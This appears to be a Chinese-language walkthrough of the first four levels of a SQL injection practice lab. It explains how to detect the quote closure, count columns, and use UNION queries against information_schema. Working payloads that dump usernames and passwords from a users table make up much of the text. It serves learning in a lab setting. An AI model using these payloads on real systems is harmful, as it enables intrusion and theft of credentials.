第一关
先试试看是什么类型的注入
正确回显,说明不是数字型,
?id=1'
对比发现,mysql是用单引号闭合的
源代码:
成功回显,是字符型注入
那么现在开始探测列数(为了union联合查询探测做准备)
id =1 ' order by 3 --+ 其中的--+是为了过滤后面多余的',+在URL中会把解释为"空格",当然你也可以--' 来让后面的'闭合,这样也能实现一样的效果
探测到只有3列,准备用union探测有回显的列(这是为了方便我们构造payload)
可以看到2,3有回显,现在开始看版本,确定是不是mysql5.0版本以上的.
可以看到当前数据库是security,版本是5.5.53,可以用information_schema数据库了
接下来开始探测用户信息在哪里
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables
where table_schema='security'--+
利用information_schema数据库特点探测当前数据库有什么表
知道表就可以爆字段名了,看到有users表,看看能不能爆出用户与密码
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns
where table_name='users'--+
看到有username与password,开始爆数据
?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
爆出数据了成功
第二关
与第一关一样的探测方法,?id=1 and 1=2 没有回复,发现是数字型注入
接下来一样开始探测有多少列:
也是只有3列,与第一关一样开始用union探测哪些列是回显列
一样是2,3列,现在就可以用union探测当前数据库与数据库版本了
版本是5版本以上,可以用information_schema数据库进行探测
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables
where table_schema='security'
看到有users表,开始爆字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns
where table_name='users'
看到有username与password开始爆数据
id=-1 union select 1,group_concat(username),group_concat(password) from users
第三关
?id = 2 ' 看到下方提示,得出现在2'右边有)与',那么我们就闭合)后把多余的)和'注释掉
?id=2') --+
成功显示,继续开始找多少列
?id=2') order by 4 --+
order by 4时报错,说明只有3列,开始用union找有回显的列
?id=-2') union select 1,2,3 --+
有回显的是2与3两列,开始用union探测当前数据库与版本
?id=-2') union select 1,database(),version() --+
开始探测当前数据库有什么表
开始探测users表有什么列
?id=-2') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
与之前都一样,开始爆username与password数据
?id=-2') union select 1,group_concat(username),group_concat(password) from users --+
一样爆出了数据
第四关
鉴于前三关都是一样的思路,
第四关就不过多阐述了,经过探测第四关也是字符型注入,但是是"与)
别的思路都一样,就不多写了